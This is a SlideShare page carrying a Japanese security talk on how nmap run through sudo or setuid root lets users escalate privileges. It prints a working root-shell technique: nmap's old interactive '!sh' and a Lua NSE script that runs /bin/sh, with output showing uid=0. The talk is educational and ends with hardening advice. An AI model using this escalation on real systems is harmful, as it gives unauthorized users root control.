Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
SlideShare a Scribd company logo
Nmapの真実(ゾクゾク)
@ymzkei5
きっかけ
• 小河さん(@abendさん) の『Nmapの真実(続)』
が面白かったので乗っかろうと思いました!!
• 『Nmapの真実』シリーズ
▫ Nmapの真実 → http://www.slideshare.net/abend
_cve_9999_0001/nmap-61009153
▫ Nmap 9つの真実 → http://www.slideshare.net/ab
end_cve_9999_0001/nmap-9
▫ Nmapの真実(続) → http://www.slideshare.net/ab
end_cve_9999_0001/nmap-68233390
「Nmapの真実(続)」が教えてくれたこと
• 一般ユーザと管理者とでNmapの挙動が変わる。
「Nmapの真実(続)」が教えてくれたこと
• 一般ユーザと管理者とでNmapの挙動が変わる。
「Nmapの真実(続)」が教えてくれたこと
• 一般ユーザと管理者とでNmapの挙動が変わる。
目に浮かんだこと
• サーバ管理者「OK! 一般ユーザのために、
Nmapが管理者権限で動くようにしてあげよう」
目に浮かんだこと
• サーバ管理者「OK! 一般ユーザのために、
Nmapが管理者権限で動くようにしてあげよう」
• 皆さんは、一般ユーザがNmapを使うサーバなん
て無ぇよ!と思ったかも知れませんが、
目に浮かんだこと
• サーバ管理者「OK! 一般ユーザのために、
Nmapが管理者権限で動くようにしてあげよう」
• 皆さんは、一般ユーザがNmapを使うサーバなん
て無ぇよ!と思ったかも知れませんが、
わりとあります。
目に浮かんだこと
• サーバ管理者「OK! 一般ユーザのために、
Nmapが管理者権限で動くようにしてあげよう」
• 皆さんは、一般ユーザがNmapを使うサーバなん
て無ぇよ!と思ったかも知れませんが、
わりとあります。
• あります…よね?(え? 私の周辺だけ?)
やりそうなこと
• その1 : sudoを許す
cat /etc/sudoers
...
%users ALL=/usr/bin/nmap
やりそうなこと
• その1 : sudoを許す
• その2 : setuid rootしてしまう
cat /etc/sudoers
...
%users ALL=/usr/bin/nmap
-rwxr-xr-x 1 root root 373348 Feb 7 2014 nmap
↓
-rwsr-xr-x 1 root root 373348 Feb 7 2014 nmap
すると、どうなるか…
• 古き良き時代のバージョンだと、
[keigo@yamazakiVM ~]$ sudo nmap –interactive
すると、どうなるか…
• 古き良き時代のバージョンだと、
[keigo@yamazakiVM ~]$ sudo nmap –interactive
Starting nmap V. 2.53 by fyodor@insecure.org (www.insecure.org/nmap/)
Welcome to Interactive Mode -- press h <enter> for help
nmap>
すると、どうなるか…
• 古き良き時代のバージョンだと、
[keigo@yamazakiVM ~]$ sudo nmap –interactive
Starting nmap V. 2.53 by fyodor@insecure.org (www.insecure.org/nmap/)
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
すると、どうなるか…
• 古き良き時代のバージョンだと、
[keigo@yamazakiVM ~]$ sudo nmap –interactive
Starting nmap V. 2.53 by fyodor@insecure.org (www.insecure.org/nmap/)
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
sh-4.1#
すると、どうなるか…
• 古き良き時代のバージョンだと、
[keigo@yamazakiVM ~]$ sudo nmap –interactive
Starting nmap V. 2.53 by fyodor@insecure.org (www.insecure.org/nmap/)
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.1#
ところが、
• 最近のバージョンだと、、
I removed the --interactive mode in r17131. People hadn't
been using it since May 2009 at the latest, because that's
when Juan Carlos Castro y Castro first reported that it would
segfault during the second scan. http://seclists.org/nmap-
dev/2009/q2/464
David Fifield
$ sudo nmap --interactive
nmap: unrecognized option '--interactive'
ところが、
• 最近のバージョンだと、、
• --interactive mode gone
▫ I removed the --interactive mode in r17131. People hadn't
been using it since May 2009 at the latest, because that's
when Juan Carlos Castro y Castro first reported that it
would segfault during the second scan.
http://seclists.org/nmap-dev/2009/q2/464
David Fifield
http://seclists.org/nmap-dev/2010/q1/1241
$ sudo nmap --interactive
nmap: unrecognized option '--interactive'
ところが、
• 最近のバージョンだと、、
• --interactive mode gone
▫ I removed the --interactive mode in r17131. People hadn't
been using it since May 2009 at the latest, because that's
when Juan Carlos Castro y Castro first reported that it
would segfault during the second scan.
http://seclists.org/nmap-dev/2009/q2/464
David Fifield
http://seclists.org/nmap-dev/2010/q1/1241
$ sudo nmap --interactive
nmap: unrecognized option '--interactive'
interactiveモード
自体が無い!
何これ安心!!!
安心できませんよ!
• 皆さん、もうピンと来ているとおり、ぜんぜん
安心できません。
• 例えば、Nmapスクリプトを書いてみるとか。
▫ SCRIPT SCAN:
--script=<Lua scripts>: <Lua scripts> is a comma
separated list of directories, script-files or script-
categories
書いてみた
• sh.nse
description = [[]]
author = "Keigo Yamazaki"
categories = {}
hostrule = function(host)
return true
end
action = function()
os.execute("/bin/sh")
end
root取ってみた
$ sudo nmap -script ./sh.nse 127.0.0.1 -p 80
Starting Nmap 5.51 ( http://nmap.org ) at 2016-11-06 09:16 JST
sh-4.1#
root取ってみた
$ sudo nmap -script ./sh.nse 127.0.0.1 -p 80
Starting Nmap 5.51 ( http://nmap.org ) at 2016-11-06 09:16 JST
sh-4.1#
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.1#
sh-4.1# exit
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00011s latency).
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 6.39 seconds
$
まとめ
• Nmapを精確に実行したいなら、管理者権限で
実行する必要がある。
• でも、Nmapに管理者権限を与えると、任意の
OSコマンドの実行などもおこなわれてしまう。
• 共用サーバでは使わないか、rootを取られても
良い信頼できる人だけに使わせましょう。
• Nmapスクリプトを信頼できるパスからしか実
行できないように制限する手や、SELinux等で
制限する手もあるかもですが。

More Related Content

Nmapの真実(ゾクゾク)